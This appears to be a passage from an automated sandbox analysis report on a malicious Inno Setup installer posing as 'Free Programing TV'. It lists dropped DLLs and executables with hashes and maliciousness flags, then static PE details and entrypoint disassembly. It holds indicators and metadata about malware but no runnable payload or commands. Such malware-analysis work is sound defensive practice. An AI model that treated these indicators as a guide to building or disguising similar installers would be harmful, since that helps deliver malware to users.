Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Free Programing TV\is-QTH1O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Free Programing TV\is-UF6SG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Free Programing TV\is-UFCL6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Free Programing TV\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Free Programing TV\libssl-1_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Free Programing TV\msvcp71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Free Programing TV\msvcr71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Free Programing TV\ssleay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Free Programing TV\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	InnoSetup Log Free Programing TV, version 0x30, 4450 bytes, 051829\user, "C:\Users\user\AppData\Local\Free Programing TV"
Category:	dropped
Size (bytes):	4450
Entropy (8bit):	4.622538963029862
Encrypted:	false
SSDEEP:	96:xCdWI488RpKUip5m9s+eOIhTgL4cVSQs0Lj2ydQNPYl/JfRfd:0dWI48epKUw5cHIhXcVSQ1Td5P
MD5:	ED3EC40A99A875CACC79FAEC4FCA23FD
SHA1:	8E43006886F0DCB89A583AC086C8B46FC3E7CC1D
SHA-256:	7F7C3BF4E7F48469664548C6CF5280049E7B3AA19013E6950A03D2C68AFC142B
SHA-512:	791F85C57BDE4363CC6003F9A8782A2035867748CCAFDBEF9CE93C0ECE4C9EA095ED3B4822351847DA51F051B3E16D15436AC315CDF566F5CC9D5EE43B09C82A
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................Free Programing TV..............................................................................................................Free Programing TV..............................................................................................................0.......b...%.................................................................................................................<.....i.....F*......O....051829.user/C:\Users\user\AppData\Local\Free Programing TV...........6.;.@.. .....g......IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User32.

C:\Users\user\AppData\Local\Free Programing TV\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	718497
Entropy (8bit):	6.514969970877754
Encrypted:	false
SSDEEP:	12288:TTPcYn5c/rPx37/zHBA6a5UeYpChr1CERdSrNdyR623o1a+mxyF2:HPcYn5c/rPx37/zHBA6pFpCZ1CEu23oU
MD5:	15A34E695704C037C2F6F57EC771662F
SHA1:	E2422E9572A061B5B5192272EF1D97D3F5019A33
SHA-256:	21C2374F81205E26AC8383DCF04E9499248B38166ADF8CE1B85F2CD8814B157A
SHA-512:	1D20B0AFB21CBFF8680732A52BCEA1B6A2A05182394AB33DF42D451AE501720C246D3AA6C25E8E2E79A4834CBD959E338C4A00FB05446AFA635935B34342B34C
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..............................................@...............................%..................................................................................................................CODE....@........................... ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................V..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	707072
Entropy (8bit):	6.5064730436236395
Encrypted:	false
SSDEEP:	12288:LTPcYn5c/rPx37/zHBA6a5UeYpChr1CERdSrNdyR623o1a+mxyF:PPcYn5c/rPx37/zHBA6pFpCZ1CEu23ot
MD5:	FAC4C28483FA3BE6BBCBB9544E768C0B
SHA1:	4297CBDA70F4243C7730B01C3040E8FC37AD76EC
SHA-256:	DDFC26937B610C0DC32194E7D1AE23D7B00DF31B80BD44DDED58F7418C866E33
SHA-512:	AC34D6494874BE41E1942B3DC0C31CD550034D0DD2F9C830965900ECB58911C31B4B3B2872DE9139FF094957BF92B8F515764BB4B8D0AC99E715B6DE0D4FB342
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..............................................@...............................%..................................................................................................................CODE....@........................... ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................V..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-RAKJO.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-RAKJO.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.745960477552938
Encrypted:	false
SSDEEP:	384:BXvhMwoSitz/bjx7yxnbdn+EHvbsHoOODCg:BZ7FEAbd+EDsIO
MD5:	A813D18268AFFD4763DDE940246DC7E5
SHA1:	C7366E1FD925C17CC6068001BD38EAEF5B42852F
SHA-256:	E19781AABE466DD8779CB9C8FA41BBB73375447066BB34E876CF388A6ED63C64
SHA-512:	B310ED4CD2E94381C00A6A370FCB7CC867EBE425D705B69CAAAAFFDAFBAB91F72D357966916053E72E68ECF712F2AF7585500C58BB53EC3E1D539179FCB45FB4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I...(...(...(..n ..(...(...(...$..(...$..(...$..(..Rich.(..................PE..L......B...........!..... ..........p........0....P..........................P.......................................;.......;..(............................@.......0...............................................0...............................text............ .................. ..`.rdata.......0.......$..............@..@.reloc.......@.......2..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-RAKJO.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.363359036723334
Encrypted:	false
SSDEEP:	48:SvrzfWvPcXegCPUo1vlZQrAxoONfHFZONfH3d1xCWMBFNL2piSS4k+bkg6j0KHc:+fkcXegaJ/ZAYNzcld1xaX12pTSKvkc
MD5:	526426126AE5D326D0A24706C77D8C5C
SHA1:	68BAEC323767C122F74A269D3AA6D49EB26903DB
SHA-256:	B20A8D88C550981137ED831F2015F5F11517AEB649C29642D9D61DEA5EBC37D1
SHA-512:	A2D824FB08BF0B2B2CC0B5E4AF8B13D5BC752EA0D195C6D40FD72AEC05360A3569EADE1749BDAC81CFB075112D0D3CD030D40F629DAF7ABCC243F9D8DCA8BFBE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`..............................................................<!.......P.......@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc........P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-RAKJO.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.997774360776952
TrID:	Win32 Executable (generic) a (10002005/4) 98.73% Inno Setup installer (109748/4) 1.08% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	file.exe
File size:	3'466'709 bytes
MD5:	16c1b3c872a490d259d8ccca7cedad11
SHA1:	3d5ab5e1ad2270dfa7dba9328be6a0b8c867e908
SHA256:	58dbc61b141b1ba5c957c2a4bf1036a8ff92135ecc88085925e7c2bace660860
SHA512:	ad69f082557cba19632be6ebacb33aba6686fd1e4b1c6ba0e4d9400a3fcaa849e9887241798464dbb2e0f0564a414ef5ccb2bff0aa1060ec028b3e6080930fc1
SSDEEP:	98304:MP/iDooszUlDcnmtyYdH4UpA99UNPgj/HuT6BJkDpsqd:bDvszIhKUIgPNQJCs+
TLSH:	C1F53340A1EBBCB2D66A8F724D1BC161D5037B014E7266B43DCD839EEB23585854EBF2
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x40a5f8
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	1
OS Version Minor:	0
File Version Major:	1
File Version Minor:	0
Subsystem Version Major:	1
Subsystem Version Minor:	0
Import Hash:	884310b1928934402ea6fec1dbd3cf5e

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFC4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-24h], eax
call 00007F30AC908293h
call 00007F30AC90949Ah
call 00007F30AC909729h
call 00007F30AC9097CCh
call 00007F30AC90B76Bh
call 00007F30AC90E0D6h
call 00007F30AC90E23Dh
xor eax, eax
push ebp
push 0040ACC9h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 0040AC92h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [0040C014h]
call 00007F30AC90ECEBh
call 00007F30AC90E8D6h
cmp byte ptr [0040B234h], 00000000h
je 00007F30AC90F7CEh
call 00007F30AC90EDE8h
xor eax, eax
call 00007F30AC908F89h
lea edx, dword ptr [ebp-10h]
xor eax, eax
call 00007F30AC90BD7Bh
mov edx, dword ptr [ebp-10h]
mov eax, 0040CE28h
call 00007F30AC90832Ah
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [0040CE28h]
mov dl, 01h
mov eax, 0040738Ch
call 00007F30AC90C60Ah
mov dword ptr [0040CE2Ch], eax
xor edx, edx
push ebp
push 0040AC4Ah
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F30AC90ED46h
mov dword ptr [0040CE34h], eax
mov eax, dword ptr [0040CE34h]
cmp dword ptr [eax+0Ch], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd000	0x950	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x11000	0x2c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xf000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x9d30	0x9e00	c3bd95c4b1a8e5199981e0d9b45fd18c	False	0.6052709651898734	data	6.631765876950794	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0xb000	0x250	0x400	1ee71d84f1c77af85f1f5c278f880572	False	0.306640625	data	2.751820662285145	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xc000	0xe8c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xd000	0x950	0xa00	bb5485bf968b970e5ea81292af2acdba	False	0.414453125	data	4.430733069799036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xe000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xf000	0x18	0x200	9ba824905bf9c7922b6fc87a38b74366	False	0.052734375	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x10000	0x8c4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x11000	0x2c00	0x2c00	db2b7f00f65c537f8d7ac4d1f0301e18	False	0.3288352272727273	data	4.539805835873732	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x11354	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Dutch	Netherlands	0.5675675675675675
RT_ICON	0x1147c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Dutch	Netherlands	0.4486994219653179
RT_ICON	0x119e4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Dutch	Netherlands	0.4637096774193548
RT_ICON	0x11ccc	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	Dutch	Netherlands	0.3935018050541516
RT_STRING	0x12574	0x2f2	data			0.35543766578249336
RT_STRING	0x12868	0x30c	data			0.3871794871794872
RT_STRING	0x12b74	0x2ce	data			0.42618384401114207
RT_STRING	0x12e44	0x68	data			0.75
RT_STRING	0x12eac	0xb4	data			0.6277777777777778
RT_STRING	0x12f60	0xae	data			0.5344827586206896
